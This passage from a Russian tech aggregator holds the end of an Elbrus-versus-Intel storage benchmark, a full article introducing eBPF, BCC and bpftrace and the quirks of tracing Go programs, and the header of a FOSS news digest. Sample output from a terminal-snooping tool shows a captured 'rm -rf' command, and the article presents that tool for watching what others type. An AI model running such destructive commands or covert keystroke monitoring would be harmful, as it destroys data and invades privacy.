  • с точки зрения случайного чтения Intel, безусловно, впереди Эльбруса, разница в 2 раза;
  • с точки зрения случайной записи однозначно ничья, оба процессора показали примерно равные и достойные результаты.

В последовательной нагрузке небольшими блоками картина другая:


  • и при чтении, и при записи Intel существенно (в 2 раза) опережает Эльбрус. При этом, если у Эльбруса показатель IOPS ниже чем у Intel, но выглядит достойно (200-300 тысяч), то с задержками явная проблема (они в три раза выше чем у Intel). Вывод, текущая версия Эльбруса 8С очень не любит последовательные нагрузки небольшими блоками. Явно есть над чем работать.

А вот в последовательной нагрузке большими блоками картина прямо противоположная:


  • оба процессора показали примерно равный результат в MB/s, но есть одно НО. Показатели задержек у Эльбруса в 10 (в десять, Карл!!!) раз лучше (т.е. ниже), чем у аналогичного процессора от Intel (0,4/0,5 ms против 5,1/6,5 ms). Вначале мы подумали, что это глюк, поэтому мы перепроверили результаты, сделали повторный тест, но повторный тест показал ту же картину. Это серьезное преимущество Эльбруса (и архитектуры e2k в целом) перед Intel (и, соответственно, архитектуры amd64). Будем надеяться, что этот успех получит дальнейшее развитие.

Есть ещё одна интересная особенность Эльбруса, на которую внимательный читатель может обратить внимание, посмотрев на таблицу. Если взглянуть на разницу показателей чтения и записи у Intel, то во всех тестах чтение опережает запись в среднем примерно на 50%+. Это норма, к которой все (в том числе и мы) привыкли. Если посмотреть на Эльбрус, то показатели записи значительно ближе к показателям чтения, чтение опережает запись, как правило, на 10 30%, не более.


О чем это говорит? О том, что Эльбрус очень любит запись, а это, в свою очередь, говорит о том, что этот процессор будет очень полезен в задачах, где запись явно преобладает над чтением (кто сказал закон Яровой?), что также является несомненным преимуществом архитектуры e2k, и это преимущество нужно развивать.


Выводы и ближайшее будущее


Сравнительные тесты процессоров среднего уровня Эльбрус и Intel для задач хранения данных показали примерно равные и одинаково достойные результаты, при этом каждый процессор показал свои интересные особенности.


Intel сильно превзошел Эльбрус в случайном чтении небольшими блоками, а также в последовательном чтении и записи небольшими блоками.


При случайной записи небольшими блоками оба процессора показывают равные результаты.


По показателям задержки Эльбрус выглядит значительно лучше Intel-а в потоковой нагрузке, т.е. в последовательном чтении и записи большими блоками.


Кроме того, Эльбрус в отличии от Intel, одинаково хорошо справляется как с нагрузками чтения, так и с нагрузками записи, в то время как у Intel чтение всегда значительно лучше записи.
Исходя из полученных результатов можно сделать вывод о применимости систем хранения данных Аэродиск Восток на процессоре Эльбрус 8С в следующих задачах:


  • информационные системы с преобладанием операций записи;
  • файловый доступ;
  • онлайн-трансляции;
  • видеонаблюдение;
  • резервное копирование;
  • медиа-контент.

Коллективу МЦСТ есть ещё над чем работать, но результат их работы виден уже сейчас, что, конечно, не может не радовать.


Данные тесты проводились на ядре Linux для e2k версии 4.19, на текущий момент в бета-тестах (в МЦСТ, в Базальт СПО, а также у нас, в Аэродиске) находится ядро Linux 5.4-e2k, в котором, кроме всего прочего, серьезно переработан планировщик и много оптимизаций под скоростные твердотельные накопители. Также специально для ядер ветки 5.х.х АО МЦСТ выпускает новый компилятор LCC версии 1.25. По предварительным результатам, на том же процессоре Эльбрус 8С, собранное новым компилятором новое же ядро, окружение ядра, системные утилиты и библиотеки и, собственно, ПО Аэродиск ВОСТОК позволит получить ещё более значительный прирост производительности. И это без замены оборудования на том же процессоре и с теми же частотами.


Мы ожидаем выхода версии Аэродиск ВОСТОК на базе ядра 5.4 ближе к концу года, и как только работа над новой версией будет завершена, мы обновим результаты тестирования и также опубликуем их здесь.


Если теперь вернуться к началу статьи и ответить на вопрос, кто же прав: пессимисты, которые говорят, что Эльбрус никакой и никогда не догонит ведущих производителей процессоров, или все-таки оптимисты, которые говорят, что уже почти догнали и скоро перегоним? Если исходить не из стереотипов и религиозных предубеждений, а из реальных тестов, то, однозначно, правы оптимисты.


Эльбрус уже сейчас показывает хорошие результаты, если сравнивать его с процессорами amd64 среднего уровня. До верхних в линейке моделей серверных процессоров Intel или AMD 8-ке Эльбруса, конечно, далеко, но она туда и не целилась, для этого будут выпущены процессоры 16С и 32С. Вот тогда и поговорим.


Мы понимаем, что после этой статьи вопросов про Эльбрус станет ещё больше, поэтому мы решили организовать ещё один онлайн-вебинар ОколоИТ, чтобы в прямом эфире на эти вопросы дать ответы.


В этот раз у нас в гостях будет заместитель генерального директора компании МЦСТ, Константин Трушкин. Записаться на вебинар можно по ссылке ниже.


РЕГИСТРАЦИЯ НА ВЕБИНАР


Всем спасибо, как обычно ждем конструктивной критики и интересных вопросов.

Подробнее..

EBPF современные возможности интроспекции в Linux, или Ядро больше не черный ящик

22.09.2020 14:11:12 | Автор: admin


У всех есть любимые книжки про магию. У кого-то это Толкин, у кого-то Пратчетт, у кого-то, как у меня, Макс Фрай. Сегодня я расскажу вам о моей любимой IT-магии о BPF и современной инфраструктуре вокруг него.

BPF сейчас на пике популярности. Технология развивается семимильными шагами, проникает в самые неожиданные места и становится всё доступнее и доступнее для обычного пользователя. Почти на каждой популярной конференции сегодня можно услышать доклад на эту тему, и GopherCon Russia не исключение: я представляю вам текстовую версию моего доклада.

В этой статье не будет уникальных открытий. Я просто постараюсь показать, что такое BPF, на что он способен и как может помочь лично вам. Также мы рассмотрим особенности, связанные с Go.

Я бы очень хотел, чтобы после прочтения моей статьи у вас зажглись глаза так, как зажигаются глаза у ребёнка, впервые прочитавшего книгу о Гарри Поттере, чтобы вы пришли домой или на работу и попробовали новую игрушку в деле.

Что такое eBPF?


Итак, о какой такой магии вам тут собирается рассказывать 34-летний бородатый мужик с горящими глазами?

Мы с вами живём в 2020 году. Если вы откроете Твиттер, то прочитаете твиты ворчливых господ, которые утверждают, что софт сейчас пишется такого ужасного качества, что проще всё это выкинуть и начать заново. Некоторые даже грозятся уйти из профессии, так как не могут это больше терпеть: всё постоянно ломается, неудобно, медленно.



Возможно, они правы: без тысячи комментов мы это не выясним. Но с чем я точно соглашусь, так это с тем, что современный софтверный стек как никогда сложен.

BIOS, EFI, операционная система, драйвера, модули, библиотеки, сетевое взаимодействие, базы данных, кеши, оркестраторы типа K8s, контейнеры типа Docker, наконец, наш с вами софт с рантаймами и сборщиками мусора. Настоящий профессионал может отвечать на вопрос о том, что происходит после того, как вы вбиваете ya.ru в браузере, несколько дней.

Понять, что происходит в вашей системе, особенно если в данный момент что-то идёт не так и вы теряете деньги, очень сложно. Эта проблема привела к появлению бизнес-направлений, призванных помочь разобраться в том, что происходит внутри вашей системы. В больших компаниях есть целые отделы шерлоков, которые знают, куда стукнуть молотком и какую гайку подтянуть, чтобы сэкономить миллионы долларов.

Я на собеседованиях часто спрашиваю людей, как они будут дебажить проблемы, если их разбудить в четыре часа ночи.

Один из подходов проанализировать логи. Но проблема в том, что доступны только те, которые заложил в свою систему разработчик. Они не гибкие.

Второй популярный подход изучить метрики. Три самые популярные системы для работы с метриками написаны на Go. Метрики очень полезны, однако, позволяя увидеть симптомы, они не всегда помогают понять причины.

Третий подход, набирающий популярность, так называемый observability: возможность задавать сколь угодно сложные вопросы о поведении системы и получать ответы на них. Так как вопрос может быть очень сложным, для ответа может понадобиться самая разная информация, и пока вопрос не задан, мы не знаем какая. А это значит, что observability жизненно необходима гибкость.

Дать возможность менять уровень логирования на лету? Приконнектиться дебаггером к работающей программе и что-то там сделать, не прерывая её работу? Понять, какие запросы поступают в систему, визуализировать источники медленных запросов, посмотреть, на что уходит память через pprof, и получить график её изменения во времени? Замерить latency одной функции и зависимость latency от аргументов? Все эти подходы я отнесу к observability. Это набор утилит, подходов, знаний, опыта, которые вместе дадут вам возможность сделать если не всё что угодно, то очень многое наживую, прямо в работающей системе. Современный швейцарский IT-ножик.



Но как это реализовать? Инструментов на рынке было и есть много: простых, сложных, опасных, медленных. Но тема сегодняшней статьи BPF.

Ядро Linux event-driven-система. Практически всё, что происходит в ядре, да и в системе в целом, можно представить в виде набора событий. Прерывание событие, получение пакета по сети событие, передача процессора другому процессу событие, запуск функции событие.
Так вот, BPF это подсистема ядра Linux, дающая возможность писать небольшие программы, которые будут запущены ядром в ответ на события. Эти программы могут как пролить свет на происходящее в вашей системе, так и управлять ею.

Это было очень длинное вступление. Приблизимся же немного к реальности.

В 1994 году появилась первая версия BPF, с которой некоторые из вас наверняка сталкивались, когда писали простые правила для утилиты tcpdump, предназначенной для просмотра, или сниффанья сетевых пакетов. tcpdump можно было задать фильтры, чтобы видеть не все, а только интересующие вас пакеты. Например, только протокол tcp и только порт 80. Для каждого проходящего пакета запускалась функция, чтобы решить, нужно сохранять этот конкретный пакет или нет. Пакетов может быть очень много это значит, что наша функция должна быть очень быстрой. Наши tcpdump фильтры как раз преобразовывались в BPF-функции, пример которой виден на картинке ниже.


Простенький фильтр для tcpdump представлен в виде BPF-программы

Оригинальный BPF представлял из себя совсем простенькую виртуальную машину с несколькими регистрами. Но, тем не менее, BPF значительно ускорила фильтрацию сетевых пакетов. В свое время это был большой шаг вперед.

Оригинальный BPF представлял собой простенькую виртуальную машину с несколькими регистрами. Но тем не менее он значительно ускорил фильтрацию сетевых пакетов. В то время это был большой шаг вперёд.



В 2014 году Алексей Старовойтов расширил функциональность BPF. Он увеличил количество регистров и допустимый размер программы, добавил JIT-компиляцию и сделал верификатор, который проверял программы на безопасность. Но самым впечатляющим было то, что новые BPF-программы могли запускаться не только при обработке пакетов, но и в ответ на многочисленные события ядра, и передавали информацию туда-сюда между kernel и user space.

Эти изменения открыли возможности для новых вариантов использования BPF. Некоторые вещи, которые раньше реализовывались путём написания сложных и опасных модулей ядра, теперь делались относительно просто через BPF. Почему это круто? Да потому что любая ошибка при написании модуля часто приводила к панике. Не к пушистой Go-шной панике, а к панике ядра, после которой только ребут.

У обычного пользователя Linux появилась суперспособность заглядывать под капот, ранее доступная только хардкорным разработчикам ядра или недоступная никому. Эта опция сравнима с возможностью без особых усилий написать программу для iOS или Android: на старых телефонах это было или невозможно, или значительно сложнее.

Новая версия BPF от Алексея получила название eBPF (от слова extended расширенная). Но сейчас она заменила все старые версии BPF и стала настолько популярной, что для простоты все называют её просто BPF.

Где используют BPF?


Итак, что же это за события, или триггеры, к которым можно прицепить BPF-программы, и как люди начали использовать новоприобретённую мощь?

На данный момент есть две большие группы триггеров.

Первая группа используется для обработки сетевых пакетов и для управления сетевым трафиком. Это XDP, traffic control-ивенты и ещё несколько.

Эти ивенты нужны, чтобы:

  • Создавать простые, но очень эффективные файрволы. Компании вроде Cloudflare и Facebook с помощью BPF-программ отсеивают огромное количество паразитного трафика и борются с самыми масштабными DDoS-атаками. Так как обработка происходит на самой ранней стадии жизни пакета и прямо в ядре (иногда BPF-программа даже пушится сразу в сетевую карту для обработки), то таким образом можно обрабатывать колоссальные потоки трафика. Раньше такие вещи делали на специализированных сетевых железках.
  • Создавать более умные, точечные, но всё ещё очень производительные файрволы такие, которые могут проверить проходящий трафик на соответствие правилам компании, на паттерны уязвимостей и т. п. Facebook, например, занимается таким аудитом внутри компании, несколько проектов продают такого рода продукты наружу.
  • Создавать умные балансировщики. Самым ярким примером является проект Cilium, который чаще всего используется в кластере K8s в качестве mesh-сети. Cilium управляет трафиком: балансирует, перенаправляет и анализирует его. И всё это с помощью небольших BPF-программ, запускаемых ядром в ответ на то или иное событие, связанное с сетевыми пакетами или сокетами.

Это была первая группа триггеров, связанная с сетевыми вопросами и обладающая возможностью влиять на поведение. Вторая группа связана с более общим observability; программы из этой группы чаще всего не имеют возможности на что-то влиять, а могут только наблюдать. Она интересует меня гораздо больше.

В данной группе есть такие триггеры, как:

  • perf events ивенты, связанные с производительностью и с Linux-профилировщиком perf: железные процессорные счётчики, обработка прерываний, перехват minor/major-исключений памяти и т. п. Например, вы можете поставить обработчик, который будет запускаться каждый раз, когда ядру надо вытащить из свопа какую-то страницу памяти. Представьте себе, например, утилиту, которая отображает программы, которые в данный момент используют своп.
  • tracepoints статические (определённые разработчиком) места в исходниках ядра, при прикреплении к которым можно достать статическую же информацию (ту, которую заранее подготовил разработчик). Может показаться, что в данном случае статичность это плохо, ведь я говорил, что один из недостатков логов заключается в том, что они содержат только то, что изначально добавил программист. В каком-то смысле это так, но tracepoints обладают тремя важными преимуществами:
    • их довольно много раскидано по ядру в самых интересных местах;
    • когда они не включены, они не тратят ресурсы;
    • они являются частью API, стабильны и не меняются, что очень важно, так как другие триггеры, о которых пойдёт речь, не имеют стабильного API.

      В качестве примера можете представить себе утилиту, показывающую программы, которым ядро по той или иной причине не даёт время на выполнение, вы сидите и гадаете, почему она тормозит, а pprof при этом ничего интересного не показывает.

  • USDT то же самое, что tracepoints, только для user space-программ. То есть вы как программист можете добавлять такие места в свою программу. И многие крупные и известные программы и языки программирования уже обзавелись такими трейсами: MySQL, например, или языки PHP, Python. Часто они выключены по умолчанию и для их включения нужно пересобрать интерпретатор с параметром enable-dtrace или подобным. Да, в Go у нас тоже есть возможность регистрировать такие трейсы. Кто-то, может быть, узнал слово DTrace в названии параметра. Дело в том, что такого рода статические трейсы были популяризированы в одноимённой системе, которая зародилась в ОС Solaris: например, момент создания нового треда, запуска GC или чего-то, связанного с конкретным языком или системой.

Ну а дальше начинается ещё один уровень магии:

  • ftrace-триггеры дают нам возможность запускать BPF-программу в начале практически любой функции ядра. Полностью динамически. Это значит, что ядро вызовет вашу BPF-функцию до начала выполнения любой выбранной вами функции ядра. Или всех функций ядра как угодно. Вы можете прикрепиться ко всем функциям ядра и получить на выходе красивую визуализацию всех вызовов.
  • kprobes/uprobes дают почти то же самое, что ftrace, только у нас есть возможность прицепиться к любому месту при исполнении функции как ядра, так и в user space. В середине функции есть какой-то if по переменной и вам надо построить гистограмму значений этой переменной? Не проблема.
  • kretprobes/uretprobes здесь всё аналогично предыдущим триггерам, но мы можем стриггернуться при завершении выполнения функции ядра и программы в user space. Такого рода триггеры удобны для просмотра того, что функция возвращает, и для замера времени её выполнения. Например, можно узнать, какой PID вернул системный вызов fork.

Самое замечательное в этом всём, повторюсь, то, что, будучи вызванной на любой из этих триггеров, наша BPF-программа может хорошенько осмотреться: прочитать аргументы функции, засечь время, прочитать переменные, глобальные переменные, взять стек-трейс, сохранить что-то на потом, передать данные в user space для обработки, получить из user space данные для фильтрации или какие-то управляющие команды. Красота!

Не знаю, как для вас, но для меня новая инфраструктура как игрушка, которую я долго и трепетно ждал.

API, или Как это использовать


Окей, Марко, ты нас уговорил посмотреть в сторону BPF. Но как к нему подступиться?

Давайте посмотрим, из чего состоит BPF-программа и как с ней взаимодействовать.



Во-первых, у нас есть BPF-программа, которая, если пройдёт верификацию, будет загружена в ядро. Там она будет скомпилирована JIT в машинный код и запущена в режиме ядра, когда триггер, к которому она прикреплена, сработает.

У BPF-программы есть возможность взаимодействовать со второй частью с user space-программой. Для этого есть два способа. Мы можем писать в циклический буфер, а user space-часть может из него читать. Также мы можем писать и читать в key-value-хранилище, которое называется BPF map, а user space-часть, соответственно, может делать то же самое, и, соответственно, они могут перекидывать друг другу какую-то информацию.

Прямолинейный путь


Самый простой способ работы с BPF, с которого ни в коем случае не надо начинать, состоит в написании BPF-программ на подобии языка C и компиляции данного кода с помощью компилятора Clang в код виртуальной машины. Затем мы загружаем этот код с помощью системного вызова BPF напрямую и взаимодействуем с нашей BPF-программой также с помощью системного вызова BPF.



Первое доступное упрощение использование библиотеки libbpf, которая поставляется с исходниками ядра и позволяет не работать напрямую с системным вызовом BPF. По сути, она предоставляет удобные обёртки для загрузки кода, работы с так называемыми мапами для передачи данных из ядра в user space и обратно.

bcc


Понятно, что такое использование далеко от удобного для человека. Благо под брендом iovizor появился проект BCC, который значительно упрощает нам жизнь.



По сути, он готовит всё сборочное окружение и даёт нам возможность писать единые BPF-программы, где С-часть будет собрана и загружена в ядро автоматически, а user space-часть может быть сделана на простом и понятном Python.

bpftrace


Но и BCC выглядит сложным для многих вещей. Особенно люди почему-то не любят писать части на С.

Те же ребята из iovizor представили инструмент bpftrace, который позволяет писать BPF-скрипты на простеньком скриптовом языке а-ля AWK (либо вообще однострочники).



Знаменитый специалист в области производительности и observability Брендан Грегг подготовил следующую визуализацию доступных способов работы с BPF:



По вертикали у нас простота инструмента, а по горизонтали его мощь. Видно, что BCC очень мощный инструмент, но не суперпростой. bpftrace гораздо проще, но при этом уступает в мощности.

Примеры использования BPF


Но давайте рассмотрим магические способности, которые стали нам доступны, на конкретных примерах.

И BCC, и bpftrace содержат папку Tools, где собрано огромное количество готовых интересных и полезных скриптов. Они одновременно являются и местным Stack Overflow, с которого вы можете копировать куски кода для своих скриптов.

Вот, например, скрипт, который показывает latency для DNS-запросов:

 marko@marko-home ~$ sudo gethostlatency-bpfccTIME   PID  COMM         LATms HOST16:27:32 21417 DNS Res~ver #93    3.97 live.github.com16:27:33 22055 cupsd         7.28 NPI86DDEE.local16:27:33 15580 DNS Res~ver #87    0.40 github.githubassets.com16:27:33 15777 DNS Res~ver #89    0.54 github.githubassets.com16:27:33 21417 DNS Res~ver #93    0.35 live.github.com16:27:42 15580 DNS Res~ver #87    5.61 ac.duckduckgo.com16:27:42 15777 DNS Res~ver #89    3.81 www.facebook.com16:27:42 15777 DNS Res~ver #89    3.76 tech.badoo.com :-)16:27:43 21417 DNS Res~ver #93    3.89 static.xx.fbcdn.net16:27:43 15580 DNS Res~ver #87    3.76 scontent-frt3-2.xx.fbcdn.net16:27:43 15777 DNS Res~ver #89    3.50 scontent-frx5-1.xx.fbcdn.net16:27:43 21417 DNS Res~ver #93    4.98 scontent-frt3-1.xx.fbcdn.net16:27:44 15580 DNS Res~ver #87    5.53 edge-chat.facebook.com16:27:44 15777 DNS Res~ver #89    0.24 edge-chat.facebook.com16:27:44 22099 cupsd         7.28 NPI86DDEE.local16:27:45 15580 DNS Res~ver #87    3.85 safebrowsing.googleapis.com^C%

Утилита в режиме реального времени показывает время выполнения DNS-запросов, так что вы сможете поймать, например, какие-то неожиданные выбросы.

А это скрипт, который шпионит за тем, что другие набирают на своих терминалах:

 marko@marko-home ~$ sudo bashreadline-bpfccTIME   PID  COMMAND16:51:42 24309 uname -a16:52:03 24309 rm -rf src/badoo

Такого рода скрипт можно использовать, чтобы поймать плохого соседа или провести аудит безопасности серверов компании.

Скрипт для просмотра флоу вызовов высокоуровневых языков:

 marko@marko-home ~/tmp$ sudo /usr/sbin/lib/uflow -l python 20590Tracing method calls in python process 20590... Ctrl-C to quit.CPU PID  TID  TIME(us) METHOD5  20590 20590 0.173  -> helloworld.py.hello5  20590 20590 0.173   -> helloworld.py.world5  20590 20590 0.173   <- helloworld.py.world5  20590 20590 0.173  <- helloworld.py.hello5  20590 20590 1.174  -> helloworld.py.hello5  20590 20590 1.174   -> helloworld.py.world5  20590 20590 1.174   <- helloworld.py.world5  20590 20590 1.174  <- helloworld.py.hello5  20590 20590 2.175  -> helloworld.py.hello5  20590 20590 2.176   -> helloworld.py.world5  20590 20590 2.176   <- helloworld.py.world5  20590 20590 2.176  <- helloworld.py.hello6  20590 20590 3.176  -> helloworld.py.hello6  20590 20590 3.176   -> helloworld.py.world6  20590 20590 3.176   <- helloworld.py.world6  20590 20590 3.176  <- helloworld.py.hello6  20590 20590 4.177  -> helloworld.py.hello6  20590 20590 4.177   -> helloworld.py.world6  20590 20590 4.177   <- helloworld.py.world6  20590 20590 4.177  <- helloworld.py.hello^C%

Здесь на примере показан стек вызовов программы на Python.

Тот же Брендан Грегг сделал картинку, на которой собрал все существующие скрипты со стрелочками, указывающими на те подсистемы, которые каждая утилита позволяет обсёрвить. Как видно, нам уже доступно огромное количество готовых утилит практически на любой случай.


Не пытайтесь что-то здесь углядеть. Картинка используется как справочник

А что у нас с Go?


Теперь давайте поговорим о Go. У нас два основных вопроса:

  • Можно ли писать BPF-программы на Go?
  • Можно ли анализировать программы, написанные на Go?

Пойдём по порядку.

На сегодняшний день единственный компилятор, который умеет компилировать в формат, понимаемый BPF-машиной, Clang. Другой популярный компилятор, GСС, пока не имеет BPF-бэкенда. И единственный язык программирования, который может компилироваться в BPF, очень ограниченный вариант C.

Однако у BPF-программы есть и вторая часть, которая находится в user space. И её можно писать на Go.

Как я уже упоминал выше, BCC позволяет писать эту часть на Python, который является первичным языком инструмента. При этом в главном репозитории BCC также поддерживает Lua и C++, а в стороннем ещё и Go.



Выглядит такая программа точно так же, как программа на Python. В начале строка, в которой BPF-программа на C, а затем мы сообщаем, куда прицепить данную программу, и как-то с ней взаимодействуем, например достаём данные из EPF map.

Собственно, все. Рассмотреть пример подробнее можно на Github.
Наверное, основной недостаток заключается в том, что для работы используется C-библиотека libbcc или libbpf, а сборка Go-программы с такой библиотекой совсем не похожа на милую прогулку в парке.

Помимо iovisor/gobpf, я нашёл ещё три актуальных проекта, которые позволяют писать userland-часть на Go.


Версия от Dropbox не требует никаких C-библиотек, но вот kernel-часть BPF-программы вам придётся собрать самостоятельно с помощью Clang и затем загрузить в ядро Go-программой.

Версия от Cilium имеет те же особенности, что версия от Dropbox. Но она стоит упоминания хотя бы потому, что делается ребятами из проекта Cilium, а значит, обречена на успех.

Третий проект я привёл для полноты картины. Как и два предыдущих, он не имеет внешних C-зависимостей, требует ручной сборки BPF-программы на C, но, похоже, не имеет особых перспектив.

На самом деле, есть ещё один вопрос: зачем вообще писать BPF-программы на Go? Ведь если посмотреть на BCC или bpftrace, то BPF-программы в основном занимают меньше 500 строк кода. Не проще ли написать скриптик на bpftrace-языке или расчехлить немного Python? Я тут вижу два довода.

Первый: вы ну очень любите Go и предпочитаете всё делать на нём. Кроме того, потенциально Go-программы проще переносить с машины на машину: статическая линковка, простой бинарник и всё такое. Но всё далеко не так очевидно, так как мы завязаны на конкретное ядро. Здесь я остановлюсь, а то моя статья растянется еще на 50 страниц.

Второй вариант: вы пишете не простой скриптик, а масштабную систему, которая в том числе использует BPF внутри. У меня даже есть пример такой системы на Go:



Проект Scope выглядит как один бинарник, который при запуске в инфраструктуре K8s или другого облака анализирует всё, что происходит вокруг, и показывает, какие есть контейнеры, сервисы, как они взаимодействуют и т. п. И многое из этого делается с использованием BPF. Интересный проект.

Анализируем программы на Go


Если помните, у нас был ещё один вопрос: можем ли мы анализировать программы, написанные на Go, с помощью BPF? Первая мысль конечно! Какая разница, на каком языке написана программа? Ведь это просто скомпилированный код, который так же, как и все остальные программы, что-то считает на процессоре, кушает память как не в себя, взаимодействует с железом через ядро, а с ядром через системные вызовы. В принципе, это правильно, но есть особенности разного уровня сложности.

Передача аргументов


Одна из особенностей состоит в том, что Go не использует ABI, который использует большинство остальных языков. Так уж получилось, что отцы-основатели решили взять ABI системы Plan 9, хорошо им знакомой.

ABI это как API, соглашение о взаимодействии, только на уровне битов, байтов и машинного кода.

Основной элемент ABI, который нас интересует, то, как в функцию передаются её аргументы и как из функции передаётся обратно ответ. Если в стандартном ABI x86-64 для передачи аргументов и ответа используются регистры процессора, то в Plan 9 ABI для этого использует стек.

Роб Пайк и его команда не планировали делать ещё один стандарт: у них уже был почти готовый компилятор для C для системы Plan 9, простой как дважды два, который они в кратчайшие сроки переделали в компилятор для Go. Инженерный подход в действии.

Но это, на самом деле, не слишком критичная проблема. Во-первых, мы, возможно, скоро увидим в Go передачу аргументов через регистры, а во-вторых, получать аргументы со стека из BPF несложно: в bpftrace уже добавили алиас sargX, а в BCC появится такой же, скорее всего, в ближайшее время.

Upd: с момента, когда я сделал доклад, появился даже подробный официальный proposal по переходу на использование регистров в ABI.

Уникальный идентификатор треда


Вторая особенность связана с любимой фичей Go горутинами. Один из способов измерить latency функций сохранить время вызова функции, засечь время выхода из функции и вычислить разницу; и сохранять время старта с ключом, в котором будет название функции и TID (номер треда). Номер треда нужен, так как одну и ту же функцию могут одновременно вызывать разные программы или разные потоки одной программы.

Но в Go горутины гуляют между системными тредами: сейчас горутина выполняется на одном треде, а чуть позже на другом. И в случае с Go нам бы в ключ положить не TID, а GID, то есть ID горутины, но получить мы его не можем. Чисто технически этот ID существует. Грязными хаками его даже можно вытащить, так как он где-то в стеке, но делать это строго запрещено рекомендациями ключевой группы разработчиков Go. Они посчитали, что такая информация нам не нужна будет никогда. Как и Goroutine local storage, но это я отвлёкся.

Расширение стека


Третья проблема самая серьёзная. Настолько серьёзная, что, даже если мы как-то решим вторую проблему, это нам никак не поможет измерять latency Go-функций.

Наверное, большинство читателей хорошо понимает, что такое стек. Тот самый стек, где в противоположность куче или хипу можно выделять память под переменные и не думать об их освобождении.

Если говорить о C, то стек там имеет фиксированный размер. Если мы вылезем за пределы этого фиксированного размера, то произойдёт знаменитый stack overflow.

В Go стек динамический. В старых версиях он представлял собой связанные куски памяти. Сейчас это непрерывный кусок динамического размера. Это значит, что, если выделенного куска нам не хватит, мы расширим текущий. А если расширить не сможем, то выделим другой большего размера и переместим все данные со старого места на новое. Это чертовски увлекательная история, которая затрагивает гарантии безопасности, cgo, сборщик мусора, но это уже тема для отдельной статьи.

Важно знать, что для того, чтобы Go мог сдвинуть стек, ему нужно пройтись по стеку вызовов программы, по всем указателям на стеке.

Тут и кроется основная проблема: uretprobes, которые используют для прикрепления BPF-функции, к моменту завершения выполнения функции динамически изменяют стек, чтобы встроить вызов своего обработчика, так называемого trampoline. И такое неожиданное для Go изменение его стека в большинстве случаев заканчивается падением программы. Упс!

Впрочем, эта история не уникальна. Разворачиватель стека C++ в момент обработки исключений тоже падает через раз.

Решения у данной проблемы нет. Как обычно в таких случаях, стороны перекидываются абсолютно обоснованными аргументами виновности друг друга.

Но если вам очень нужно поставить uretprobe, то проблему можно обойти. Как? Не ставить uretprobe. Можно поставить uprobe на все места, где мы выходим из функции. Таких мест может быть одно, а может быть 50.

И здесь уникальность Go играет нам на руку.

В обычном случае такой трюк не сработал бы. Достаточно умный компилятор умеет делать так называемый tail call optimization, когда вместо возврата из функции и возврата по стеку вызовов мы просто прыгаем в начало следующей функции. Такого рода оптимизация критически важна для функциональных языков вроде Haskell. Без неё они и шагу бы не могли ступить без stack overflow. Но с такой оптимизацией мы просто не сможем найти все места, где мы возвращаемся из функции.

Особенность в том, что компилятор Go версии 1.14 пока не умеет делать tail call optimization. А значит, трюк с прикреплением ко всем явным выходам из функции работает, хоть и очень утомителен.

Примеры


Не подумайте, что BPF бесполезен для Go. Это далеко не так: все остальное, что не задевает вышеуказанные нюансы, мы делать можем. И будем.
Давайте рассмотрим несколько примеров.

Для препарирования возьмём простенькую программку. По сути, это веб-сервер, который слушает на 8080 порту и имеет обработчик HTTP-запросов. Обработчик достанет из URL параметр name, параметр Go и сделает какую-то проверку сайта, а затем все три переменные (имя, год и статус проверки) отправит в функцию prepareAnswer(), которая подготовит ответ в виде строки.



Проверка сайта это HTTP-запрос, проверяющий, работает ли сайт конференции, с помощью канала и горутины. А функция подготовки ответа просто превращает всё это в читабельную строку.

Триггерить нашу программу будем простым запросом через curl:



В качестве первого примера с помощью bpftrace напечатаем все вызовы функций нашей программы. Мы здесь прикрепляемся ко всем функциям, которые попадают под main. В Go все ваши функции имеют символ, который выглядит как название пакета-точка-имя функции. Пакет у нас main, а рантайм функции был бы runtime.



Когда я делаю curl, то запускаются хендлер, функция проверки сайта и подфункция-горутина, а затем и функция подготовки ответа. Класс!

Дальше я хочу не только вывести, какие функции выполняются, но и их аргументы. Возьмём функцию prepareAnswer(). У неё три аргумента. Попробуем распечатать два инта.
Берём bpftrace, только теперь не однострочник, а скриптик. Прикрепляемся к нашей функции и используем алиасы для стековых аргументов, о которых я говорил.

В выводе мы видим то, что передали мы 2020, получили статус 200, и один раз передали 2021.



Но у функции три аргумента. Первый из них строка. Что с ним?

Давайте просто выведем все стековые аргументы от 0 до 4. И что мы видим? Какая-то большая цифра, какая-то цифра поменьше и наши старые 2021 и 200. Что же это за странные цифры в начале?



Вот здесь уже полезно знать устройство Go. Если в C строка это просто массив символов, который заканчивается нулём, то в Go строка это на самом деле структура, состоящая из указателя на массив символов (кстати, не заканчивающийся нулём) и длины.



Но компилятор Go при передаче строчки в виде аргумента разворачивает эту структуру и передаёт её как два аргумента. И получается, что первая странная цифра это как раз указатель на наш массив, а вторая длина.

И правда: ожидаемая длина строки 22.

Соответственно, немного фиксим наш скриптик, чтобы достать данные два значения через стек поинтер регистр и правильный оффсет, и с помощью встроенной функции str() выводим как строчку. Всё работает:



Ну и заглянем в рантайм. Например, мне захотелось узнать, какие горутины запускает наша программа. Я знаю, что горутины запускаются функциями newproc() и newproc1(). Подконнектимся к ним. Первым аргументом функции newproc1() является указатель на структуру funcval, которая имеет только одно поле указатель на функцию:



В данном случае воспользуемся возможностью прямо в скрипте дефайнить структуры. Это чуть проще, чем играться с оффсетами. Вот мы вывели все горутины, которые запускаются при вызове нашего хендлера. И если после этого получить имена символов для наших оффсетов, то как раз среди них мы увидим нашу функцию checkSite. Ура!



Данные примеры это капля в море возможностей BPF, BCC и bpftrace. При должном знании внутренностей и опыте можно достать почти любую информацию из работающей программы, не останавливая и не изменяя её.

Заключение


Это всё, о чём я хотел вам рассказать. Надеюсь, что у меня получилось вдохновить вас.

BPF одно из самых модных и перспективных направлений в Linux. И я уверен, что в ближайшие годы мы увидим ещё очень и очень много интересного не только в самой технологии, но и в инструментах и её распространении.

Пока ещё не поздно и ещё не все знают о BPF, мотайте на ус, становитесь магами, решайте проблемы и помогайте своим коллегам. Говорят, что магические фокусы работают только один раз.

Что же до Go, то мы оказались, как обычно, довольно уникальными. Вечно у нас какие-то нюансы: то компилятор другой, то ABI, нужен какой-то GOPATH, имя, которое невозможно загуглить. Но мы стали силой, с которой принято считаться, и я верю, что жизнь станет только лучше.
Подробнее..

FOSS News 32 дайджест новостей свободного и открытого ПО за 31 августа 6 сентября 2020 года

06.09.2020 20:21:10 | Автор: admin


Всем привет!

